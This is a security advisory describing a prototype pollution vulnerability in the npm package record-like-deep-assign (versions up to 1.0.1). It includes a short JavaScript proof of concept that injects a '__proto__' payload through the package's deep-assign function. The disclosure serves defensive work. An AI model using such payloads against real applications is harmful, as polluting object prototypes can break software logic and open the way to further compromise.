GHSA-7qm6-9v49-38m9HighCVSS 7.3

Prototype Pollution in record-like-deep-assign

Published
December 10, 2021
Last Modified
September 11, 2023

🔗 CVE IDs covered (1)

📋 Description

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

🎯 Affected products1

  • npm/record-like-deep-assign:<= 1.0.1

🔗 References (4)